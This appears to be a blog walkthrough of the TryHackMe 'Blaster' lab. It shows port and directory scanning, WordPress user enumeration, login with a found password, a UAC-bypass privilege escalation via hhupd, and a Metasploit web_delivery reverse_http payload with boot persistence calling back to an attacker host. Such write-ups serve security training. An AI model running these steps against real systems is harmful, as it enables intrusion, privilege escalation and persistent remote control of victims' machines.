TryHackMe: Blaster

ratiros01
6 min readJul 16, 2020

[Task 1] Mission Start!

[Task 2] Activate Forward Scanners and Launch Proton Torpedoes

  1. How many ports are open on our target system?
autorecon <ip>

There’re 2 ports opened.

2. Looks like there’s a web server running, what is the title of the page we discover when browsing to it?

Access HTTP site

View page source

Title is “IIS Windows Server”.

3. Interesting, let’s see if there’s anything else on this web server by fuzzing it. What hidden directory do we discover?

gobuster dir --wordlist /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://<ip>/ -x php,txt,html,sh,cgi

There’s “/retro”.

Access it.

4. Navigate to our discovered hidden directory, what potential username do we discover?

Explore site, I came across to this. This might be a username or password.

I always logging HTTP site with Burp Suite’s sitemap. Seeing ‘wp-*’ means this site is Wordpress.

5. Crawling through the posts, it seems like our user has had some difficulties logging in recently. What possible password do we discover?

I will use wpscan instead.

wpscan --url http://<ip>/retro/ -et -ep -eu

There’re 2 users: wade and Wade.

Let’s try login, access:

http://<ip>/retro/wp-login.php

What if “parzival” is password. Let’s try it.

Wade : parzival

Success!!!

Normally after I can access CMS dashboard. I will try to generate a reverse shell or find public exploit. This case I’ll continue to #6.

6. Log into the machine via Microsoft Remote Desktop (MSRDP) and read user.txt. What are it’s contents?

remmina

[Task 3] Breaching the Control Room

  1. When enumerating a machine, it’s often useful to look at what the user was last doing. Look around the machine and see if you can find the CVE which was researched on this server. What CVE was it?

Open cmd

systeminfo

This machine is 64 bit.

sc query windefend

2. Looks like an executable file is necessary for exploitation of this vulnerability and the user didn’t really clean up very well after testing it. What is the name of this executable?

I also find some strange file on Desktop.

3. Research vulnerability and how to exploit it. Exploit it now to gain an elevated terminal!

Google “hhupd”

Follow the guide.

Click ok.

Click settings -> files -> save as

Type

C:\Windows\System32\cmd.exe  -> Press Enter

Now I have a terminal.

4. Now that we’ve spawned a terminal, let’s go ahead and run the command ‘whoami’. What is the output of running this?

I’m system.

5. Now that we’ve confirmed that we have an elevated prompt, read the contents of root.txt on the Administrator’s desktop. What are the contents? Keep your terminal up after exploitation so we can use it in task four!

cd \Users\Administrator\Desktopdir
type root.txt

[Task 4] Adoption into the Collective

  1. Return to your attacker machine for this next bit. Since we know our victim machine is running Windows Defender, let’s go ahead and try a different method of payload delivery! For this, we’ll be using the script web delivery exploit within Metasploit. Launch Metasploit now and select ‘exploit/multi/script/web_delivery’ for use.
msfconsoleuse exploit/multi/script/web_delivery

2. First, let’s set the target to PSH (PowerShell). Which target number is PSH?

show targets
set target 2

3. After setting your payload, set your lhost and lport accordingly such that you know which port the MSF web server is going to run on and that it’ll be running on the TryHackMe network.

set lhost <attacker ip>set lport <attacker port>

4. Finally, let’s set our payload. In this case, we’ll be using a simple reverse HTTP payload. Do this now with the command: ‘set payload windows/meterpreter/reverse_http’. Following this, launch the attack as a job with the command ‘run -j’.

set payload windows/meterpreter/reverse_httprun -j

Failed!!! I have to change bind port.

show options
set srvport 8000
run -j

5. Return to the terminal we spawned with our exploit. In this terminal, paste the command output by Metasploit after the job was launched. In this case, I’ve found it particularly helpful to host a simple python web server (python3 -m http.server) and host the command in a text file as copy and paste between the machines won’t always work. Once you’ve run this command, return to our attacker machine and note that our reverse shell has spawned.

Just paste the command in cmd

Now I have a session.

6. Last but certainly not least, let’s look at persistence mechanisms via Metasploit. What command can we run in our meterpreter console to setup persistence which automatically starts when the system boots? Don’t include anything beyond the base command and the option for boot startup.

run persistence -X

Seems like I need to specify LHOST

run persistence -X -r <attcker ip>
backgrounduse exploit/multi/handlerset PAYLOAD windows/meterpreter/reverse_tcp  set LHOST <attacker ip>set LPORT 1234 show options

7. Run this command now with options that allow it to connect back to your host machine should the system reboot. Note, you’ll need to create a listener via the handler exploit to allow for this remote connection in actual practice. Congrats, you’ve now gain full control over the remote host and have established persistence for further operations!

Back to meterpreter session

sessions 1reboot

This machine can’t be rebooted.

--

--